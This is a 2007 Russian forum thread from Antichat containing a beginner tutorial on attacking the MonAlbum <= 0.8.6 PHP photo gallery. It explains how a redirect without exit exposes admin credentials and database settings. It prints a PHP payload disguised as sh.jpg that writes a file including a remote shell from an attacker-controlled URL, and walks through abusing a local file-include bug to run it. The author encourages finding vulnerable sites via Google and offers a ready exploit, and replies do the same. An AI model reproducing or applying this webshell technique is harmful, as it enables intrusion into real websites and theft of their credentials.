Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Уязвимости (https://forum.antichat.xyz/forumdisplay.php?f=74)
-   -   Детские баги скрипта )) (https://forum.antichat.xyz/showthread.php?t=41020)

Stefun 28.05.2007 00:42

Детские баги скрипта ))
 
--------------[ Детские ошибки MonAlbum <= 0.8.6 ]----------
++++++++++++++++++++++++++++++++++++++++++++++++++ ++++++
Все для начинающих ))).

-----/ Вступление /------

Данный php-скрипт представляет из себя Фото Галлерею с поддержкой базы данных MySql, у нас она не очень популярна )).
Итак, по багтреку SecurityLab понятно, что есть бага в файле admin/admin_configuration.php. Смотрим:

Код:

include("./secure.php");

$glangage = $_POST['glangage'];
if (!isset($glangage)) include("../conf/config.inc.php"); // inclut pas qd sauvegarde

include ("../lib/album.inc");
include_once("../lang/$glangage");

$mod = $_POST['mod'];

//дальше идет вывод настроек MonAlbum ...

Этот файл предназначен для вывода опций галереи и их корректного сохранения.
В файле secure.php ничего нет кроме:

Код:

session_start();
if (!isset($_SESSION['name']))
header ("Location: http://".$_SERVER['HTTP_HOST'].dirname($_SERVER['PHP_SELF'])."/login_page.php");

Он всего лишь перенаправляет юзера, если тот не в сессии администратора.

Остальные инклуд файлы не предсталяют интереса, судя по их названиям(../conf/config.inc.php, ../lib/album.inc).

Строчка

Код:

include_once("../lang/$glangage");
не вызовет у нас проблем, даже если $_POST['glangage'] будет ссылаться на не существующий файл(можно считать, что это
локальный include-баг).

Вывод: можно просмотреть все настройки скрипта, включая логин и пасс админа, а также данные для подключения к базе данных, потому как скрипт продолжает выполняться после перенаправления браузера.(хедер Location:)


-------/ Эксплуатация /-------

Практически это осуществляется путем коннекта телнетом или неткатом к бажному сайту и запроса о выводе файла admin.php/admin_configuration.php.

Чтобы залить шелл потребуется войти под админом, закачать файл sh.jpg примерно такого содержания

Код:

<?php
$f=fopen("../images/sh.php","w");
fputs($f,"<?php include(\"http://your_site/sh.txt\");?>");
fclose($f);
die("yeah!");
?>

где как ты сам догадался sh.txt твой любимый пхп шелл. После закачки будет куча предупреждений, но файл будет успешно сохранен в папке images.
Теперь настал черед инклуд багу, заходим браузером на admin/admin_configuration.php, сохраняем страницу на жесткий диск,
удаляем из паги

<input type="hidden" name="mod">

и меняем <select name="glangage">, а точнее значение одного из <option> на название нашего файла "../images/sh.jpg".(незабудь изменить параметр action формы на корректное значение)
Теперь перезагружаем пагу, вибираем нужный нам язык )), и отправляем форму на сервер.
Видим надпись "yeah!", все получилось, шелл получен.))

------/ Заключение /--------

Конечно лучше тренироваться в использовании данной баги на локалхосте, но тебе никто не мешает сделать запрос в гугле на
бажный скрипт. Для счастливых владельцев этой галереи я бы порекомендовал пропатчить файл admin_configuration.php,
либо полностью отказаться от данного скрипта. Да и еще... самое главное! Статья написана в помощь
администраторам и авторам всевозможных пхп-скриптов, с целью указать на их возможные ошибки. Не
используйте информацию из этой статьи в целях противоречащих УК.

++++++++++++++++++++++++++++++++++++++++++++++++++ ++++++
-----[ Copyright © 2007 Stefun ]-----

P.S.: Сплоит в наличии )))

REDsaratov 28.05.2007 01:03

кому нужен сплойт обращайтесь
Статья сежак не копиПаст)))))))

vectorg 28.05.2007 01:08

Это не статья. Место "разбору" тут.

[53x]Shadow 28.05.2007 01:11

Имхо на статью не тянет, должно быть в разделе уязвимости
Хорошое описание баги +1


Время: 07:55